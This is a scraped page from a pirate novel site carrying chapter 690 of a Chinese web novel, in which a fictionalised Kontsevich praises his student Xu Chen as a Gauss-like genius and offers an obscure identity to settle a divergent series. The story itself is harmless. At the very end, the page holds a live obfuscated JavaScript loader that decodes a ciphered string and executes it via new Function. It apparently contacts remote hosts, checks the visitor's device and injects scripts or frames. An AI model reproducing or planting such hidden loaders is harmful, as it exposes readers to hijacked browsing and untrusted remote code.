首页
第690章 孔老头装逼反被秀
返回
关灯 护眼:关 字号:小

第690章 孔老头装逼反被秀 四

章节报错(免登陆)

一秒记住【笔趣阁】
biquge365.net,更新快,无弹窗!

    孔采维奇的心里,此刻正掀起一场无声的海啸。
    他终于确认了一件令人绝望的事实。
    徐辰,又变强了。
    而且不是一点点。
    以前的徐辰虽然已经强得离谱,强到足以让他这个做老师的反覆怀疑人生,但孔采维奇至少还能勉强跟上对方的思路。
    有些复杂的代数计算,他甚至还能凭藉几十年的积累,自负地认为自己只比徐辰慢上半步。
    嗯,半步。
    最多半步。
    但现在的徐辰,简直像换了一个人!他的思路天马行空,毫不拘泥于现有的任何框架,如同庖丁解牛般直指问题的最本质。刚才那几个新工具,全都是直接扎根在数学最深处的底层逻辑上,很多概念在这之前,孔采维奇简直闻所未闻!这几个工具随便拿出一个,都足以引爆整个数学界,强得简直离谱!
    ……
    在孔采维奇的认知里,这世界上的顶级数学天才大致可以分为两种。
    一种是像代数几何教皇格罗滕迪克那样的「架构大师」。他们拥有极其宏大的视野,喜欢自上而下地建立起一套庞大而抽象的新理论框架,然后将那些困扰世人的难题像核桃一样,扔进框架的齿轮里,用碾压级别的通用工具将其粉碎。
    以前的徐辰,无论是解NS方程,还是提出那些天马行空的控制泛函,给孔采维奇的感觉,大概率就像是一个更年轻丶算力更恐怖的格罗滕迪克。
    但现在,看着眼前白板上那几个浑然天成的数学工具,孔采维奇突然产生了一种令人战栗的感觉。
    眼前的徐辰,似乎正在脱离「凡人天才」的范畴,越来越像数学史上那些犹如神明降临般的传说人物。
    对,就像那个被称为「数学王子」的——卡尔·弗里德里希·高斯!
    那是另一种完全不同的天才。
    先知型天才。
    这种天才最可怕的地方,不是他们比别人算得更快,也不是他们掌握了更多现成的工具,而是他们往往能在问题出现的瞬间,直接看见答案所在的方向。
    别人还在黑暗中摸索道路,他们已经看见了终点。
    别人还在寻找工具,他们已经开始锻造一把只适用于那条道路的钥匙。
    高斯发现二次互反律时,曾留下过一句让后世数学家既崇拜又绝望的话:
    「我已经得到了结果,但我还不知道如何抵达那里。」
    这并不是故作高深。
    而是因为对高斯而言,答案有时会先于过程抵达他的意识。至于中间那条漫长的道路,不过是后来为了让其他人也能看懂,才一点一点补上的台阶。
    孔采维奇咽了一口唾沫。
    作为当代数学界毋庸置疑的宗师,他一直都有着自己的骄傲。他承认这世上有人比自己强,但他一直认为,即使是早慧如妖的陶哲轩,即使是几个月前的徐辰,大家也终究还在同一个大段位里,只是小分上有差距。
    但此刻,他绝望地意识到,徐辰似乎已经突破了那个看不见的天花板,硬生生地拔高到了一个比他足足高出一个大档次的全新境界。
    而在这个星球的现代学术史上,比他孔采维奇还要高出一个档次的人……之前从来没有过!
    这不是简单的天才和更天才的区别。这是某种质的飞跃,就像是从二维跳进了三维,从三维跳进了四维。徐辰看到的东西丶能够操纵的工具丶甚至思考问题的方式,都已经完全不在同一个维度上了。
    孔采维奇深吸了一口气,眼神复杂地拍了拍徐辰的肩膀。
    「小子,我这辈子在数学上,只真正佩服过两个人。」
    「其中一个,是两百年前的高斯。」
    徐辰愣了一下。
    孔采维奇看着他,眼神中竟然流露出一种少见的真诚与感慨。
    「但现在,你弥补了我没见过高斯的遗憾。」
    办公室里,忽然安静下来。
    徐辰被这句话说得有些不好意思,抬手摸了摸鼻子。
    「老师,您太过誉了。」
    他顿了顿,还是忍不住想问孔采维奇佩服的另一个人是谁。
    ……
    不过孔采维奇很快打断了徐辰。
    「回到你刚才的讲解。所以,你刚才说的小问题,究竟卡在哪里了?」
    徐辰在白板上画了一个长长的级数公式:「问题出在几何构造的最后闭环上。」
    「我已经把霍奇类构造成了一个无穷级数,每一项都有明确的几何意义。但问题是,这个级数的收敛性极其诡异。前N项部分和在N趋于无穷大时,根本不收敛。但如果我用某种正则化方法求和,它又会给出一个完美的候选对象。」
    徐辰转过身,有些无奈地说:「我需要证明,这个逐项发散但求和收敛的诡异现象,并不是解析操作产生的人工幻觉,而是具有真实的几何意义。这需要一套非常精密的渐近分析加上鞍点积分的组合拳。」
    事实上,这并不是徐辰能力不够。
    LV.5带给他的,是对整体结构的绝对洞察力。他可以从极高的维度俯瞰整个问题,判断哪条路必然走不通,哪座理论桥梁能够通向终点。
    但数学不是只有「看见终点」。从框架到严格证明之间,往往还隔着无数细节。某个冷门方向的特殊引理丶某种只在几十年前短暂出现过的技巧,都可能成为最后一块必须严丝合缝嵌入的拼图。
    这种现象在科学史上其实很常见。
    当年爱因斯坦想出广义相对论时,他拥有人类历史上最顶级的物理直觉,能一眼看到时空是弯曲的,却发现自己掌握的常规数学工具根本无法精准描述这种弯曲。最后,还是靠同学格罗斯曼递上了「黎曼几何」这把早就被发明丶却一直被物理界冷落的特定钥匙,才最终完成了相对论的数学推导。
    ……
    对于现在的徐辰来说,这个级数的收敛问题,就像是建造超级航母时,突然发现需要一颗规格很特殊的螺丝钉。
    代数几何里没有现成的工具。徐辰当然可以凭藉自己LV.5的恐怖算力,花上半个月的时间,硬生生从零开始亲手锻造出这颗螺丝钉相比也不是什么难事。但这毕竟需要时间去推演。
    然而,当孔采维奇听完徐辰的描述,盯着白板上那个「逐项发散但求和收敛」的诡异级数时。
    老头子的眼睛里,似乎迸发出一丝光芒!
    「徐辰。」
    徐辰愣了一下:「怎么了?」
    孔采维奇没有立刻回答,他缓缓站起身,走到白板前。
    这一刻,那个刚才那个老顽童似乎消失了。
    「徐,你听过『怪函数恒等式』吗?」
    徐辰微微皱眉,在脑海中飞速检索。他看过不少数学理论,但这个概念确实没什么印象。
    「没有。」徐辰摇了摇头,「难道这是解决逐项发散级数求和问题的工具吗?我没在主流文献库里见过这个名词。」
    孔采维奇轻笑了一声,眼神里带着三分缅怀和七分难掩的傲气。
    「你当然没听过。因为它太冷门了,冷门到当时甚至没有引起任何代数几何学家的注意。大家都以为那只是某个老头子晚年无聊时写下的数学娱乐游戏,只是一堆没有几何意义的q-级数拼凑。」
    徐辰有些好奇了。既然这么冷门,连主流文献库都极少引用,甚至被当成数学游戏。
    「那老师,您是怎么知道这个理论刚好能解决我这个问题的?」
    孔采维奇转过身,从徐辰手里抽出了那支马克笔。
    他看着如今已经超越了时代的得意门生,嘴角勾起一抹帅气而嚣张的弧度。
    「因为那个理论,就是我发明的!」
    ……
    <insclass="pubadx-slot"data-zoneid="10802"></ins>
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="g51nekh5ma";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/pn}2YShn^d/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"pn}2YShn^d"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mfJ)TdfOm2YF"="}Ko}X5ThF)mS_S(C4qm2YF"="}Ko}2pThFmfJ)TdfOm2YF"="}Ko}_JqhFmS_S(C4qm2YF"="}Ko}2TOhFmfJ)TdfOm2YF"="}Ko}CSqhF)mS_S(C4qm2YF"="}Ko})FfThF)fmfJ)TdfOm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q/f/}Ko}j(8}vY8pn}2YShn^d"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();